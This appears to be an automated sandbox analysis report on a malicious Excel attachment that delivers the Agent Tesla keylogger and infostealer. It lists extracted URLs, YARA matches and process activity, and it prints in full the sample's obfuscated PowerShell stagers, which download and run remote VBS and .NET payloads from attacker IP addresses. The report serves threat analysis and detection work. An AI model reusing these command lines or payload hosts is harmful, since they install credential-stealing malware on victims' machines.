Source: mshta.exe, 00000004.00000003.464522889.00000000003BF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/EvengIEcache.htaZ
Source: mshta.exe, 00000004.00000003.465933300.0000000002BF5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/EvengIEcache.htahttp://198.46.178.144/EvengIEcache.hta0
Source: mshta.exe, 00000004.00000003.465933300.0000000002BFD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/EvengIEcache.htax
Source: powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/eveningfil
Source: powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/eveningfiledatinglover.vbs
Source: powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/eveningfiledatinglover.vbsp
Source: powershell.exe, 00000007.00000002.490786833.000000001C28A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/eveningfiledatinglover.vbst
Source: powershell.exe, 00000007.00000002.490786833.000000001C28A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/eveningfiledatinglover.vbstt
Source: mshta.exe, 00000004.00000003.463853080.000000000040D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.466473179.000000000040E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.464522889.000000000040E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/f
Source: mshta.exe, 00000004.00000003.463853080.000000000040D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.466473179.000000000040E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.464522889.000000000040E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/j
Source: powershell.exe, 0000000C.00000002.504336170.0000000002713000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/madamwebbbbbbbas6444.txt
Source: powershell.exe, 0000000C.00000002.504336170.0000000002570000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.92.254.194
Source: powershell.exe, 0000000C.00000002.503395104.0000000000310000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.92.254.194/imge/new-image_v.jpg
Source: powershell.exe, 0000000C.00000002.504336170.0000000002570000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.92.254.194/imge/new-image_v.jpgxRm;
Source: wscript.exe, 0000000B.00000003.516835984.0000000000413000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.517801046.0000000000485000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.516954761.0000000000411000.00000004.00000020.00020000.00000000.sdmp, eveningfiledatinglover[1].vbs.7.dr, eveningfiledatinglover.vBS.7.dr String found in binary or memory: http://94.156.65.247/Users_API/negrocock/file_mq5uppna.ldt.txt
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000007.00000002.490786833.000000001C280000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000007.00000002.490233205.000000001A626000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000007.00000002.490786833.000000001C30D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://go.cr
Source: powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://go.micros
Source: mshta.exe, 00000004.00000002.466473179.00000000003F8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.464522889.00000000003FC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://hop.fyi/
Source: mshta.exe, 00000004.00000002.466473179.00000000003BF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://hop.fyi/ppltL
Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx, 46930000.0.dr String found in binary or memory: http://hop.fyi/ppltLB
Source: mshta.exe, 00000004.00000002.466473179.000000000034E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://hop.fyi/ppltLP8
Source: mshta.exe, 00000004.00000002.466473179.000000000034E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://hop.fyi/ppltLT8
Source: mshta.exe, 00000004.00000002.466473179.000000000034E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://hop.fyi/ppltLh
Source: mshta.exe, 00000004.00000002.466473179.000000000034E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://hop.fyi/ppltLl
Source: AddInProcess32.exe, 0000000E.00000002.619170569.0000000002431000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.00000000024D2000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.00000000024EE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com
Source: powershell.exe, 0000000C.00000002.510894342.000000001241D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.0000000002431000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.00000000024D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000007.00000002.489807943.0000000012341000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000007.00000002.490786833.000000001C280000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000007.00000002.485211497.0000000002311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.504336170.0000000002371000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.0000000002431000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.00000000024D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 0000000C.00000002.510894342.000000001241D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 00000007.00000002.489807943.0000000012341000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.489807943.0000000012341000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.489807943.0000000012341000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000007.00000002.489807943.0000000012341000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000007.00000002.490786833.000000001C280000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to log keystrokes (.Net Source)
Source: 12.2.powershell.exe.12778558.2.raw.unpack, cPKWk.cs .Net Code: VG0StEU
Creates a window with clipboard capturing capabilities
Source: C:\Windows\System32\mshta.exe Window created: window name: CLIPBRDWNDCLASS Jump to behavior

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 12.2.powershell.exe.12778558.2.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.powershell.exe.12778558.2.unpack, type: UNPACKEDPE Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 12.2.powershell.exe.12778558.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.powershell.exe.12778558.2.raw.unpack, type: UNPACKEDPE Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3324, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Excel sheet contains many unusual embedded objects
Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx OLE: Microsoft Excel 2007+
Source: 46930000.0.dr OLE: Microsoft Excel 2007+
Source: ~DF9497146B9A365AE9.TMP.0.dr OLE: Microsoft Excel 2007+
Microsoft Office drops suspicious files
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\EvengIEcache[1].hta Jump to behavior
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Server XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{AFBA6B42-5692-48EA-8141-DC517DCF0EF1}\ProgID Jump to behavior
Source: C:\Windows\System32\wscript.exe COM Object queried: WinHttpRequest Component version 5.1 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}\ProgID Jump to behavior
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX" Jump to behavior
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Detected potential crypto function
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_000007FE89AB352E 7_2_000007FE89AB352E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_000007FE89A92E0E 12_2_000007FE89A92E0E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_003D38E8 14_2_003D38E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_003D4908 14_2_003D4908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_003DF320 14_2_003DF320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_003DBB58 14_2_003DBB58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_003D3C30 14_2_003D3C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_00721D60 14_2_00721D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_007205C0 14_2_007205C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_00721678 14_2_00721678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_00724668 14_2_00724668
Document contains embedded VBA macros
Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx OLE indicator, VBA macros: true
Document embeds suspicious OLE2 link
Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx Stream path 'MBD000391C9/\x1Ole' : http://hop.fyi/ppltLB*Cqr?X"8PPIkjg4Ek1F5rA7P42cghgp3fT589hzutfsF4YjrzoqFeNU0xQEF2AceU3I83Ap5l3AF4yxswPqu5CaXHsEDb2y8aBCZAqxVu6OwTDYw063g4mSQ8l91lMSwHSXyVIfos1X7CUXLtZD$qh?aG*3
Source: 46930000.0.dr Stream path 'MBD000391C9/\x1Ole' : http://hop.fyi/ppltLB*Cqr?X"8PPIkjg4Ek1F5rA7P42cghgp3fT589hzutfsF4YjrzoqFeNU0xQEF2AceU3I83Ap5l3AF4yxswPqu5CaXHsEDb2y8aBCZAqxVu6OwTDYw063g4mSQ8l91lMSwHSXyVIfos1X7CUXLtZD$qh?aG*3
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~DF9497146B9A365AE9.TMP.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Yara signature match
Source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 12.2.powershell.exe.12778558.2.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.powershell.exe.12778558.2.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 12.2.powershell.exe.12778558.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.powershell.exe.12778558.2.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: Process Memory Space: powershell.exe PID: 3324, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 12.2.powershell.exe.12778558.2.raw.unpack, cPs8D.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.powershell.exe.12778558.2.raw.unpack, 72CF8egH.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.powershell.exe.12778558.2.raw.unpack, G5CXsdn.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.powershell.exe.12778558.2.raw.unpack, 3uPsILA6U.cs Cryptographic APIs: 'CreateDecryptor'
Source: 12.2.powershell.exe.12778558.2.raw.unpack, 6oQOw74dfIt.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.powershell.exe.12778558.2.raw.unpack, aMIWm.cs Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 12.2.powershell.exe.12778558.2.raw.unpack, 3QjbQ514BDx.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.powershell.exe.12778558.2.raw.unpack, 3QjbQ514BDx.cs Cryptographic APIs: 'TransformFinalBlock'
Source: classification engine Classification label: mal100.phis.troj.spyw.expl.evad.winXLSX@16/24@4/5
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR7C5F.tmp Jump to behavior
Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx OLE indicator, Workbook stream: true
Source: 46930000.0.dr OLE indicator, Workbook stream: true
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................P................o.......o.....}..w..............D.......D......1D.....(.P.......D......3D.......................c............. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................Cm.........................l....}..w......c.....\.F.......D.............(.P..................................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..........................................c.....}..w............./V.....7..l......U.....(.P..................................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................Cm.........................l....}..w......c.....\.F.......D.............(.P..................................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..........................................c.....}..w............./V.....7..l......U.....(.P..................................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.....X.......N....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1../V.....7..l......U.....(.P.....................X....... ....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..........................................c.....}..w............./V.....7..l......U.....(.P..................................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.................X.......@....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..........................................c.....}..w............./V.....7..l......U.....(.P..................................................... Jump to behavior
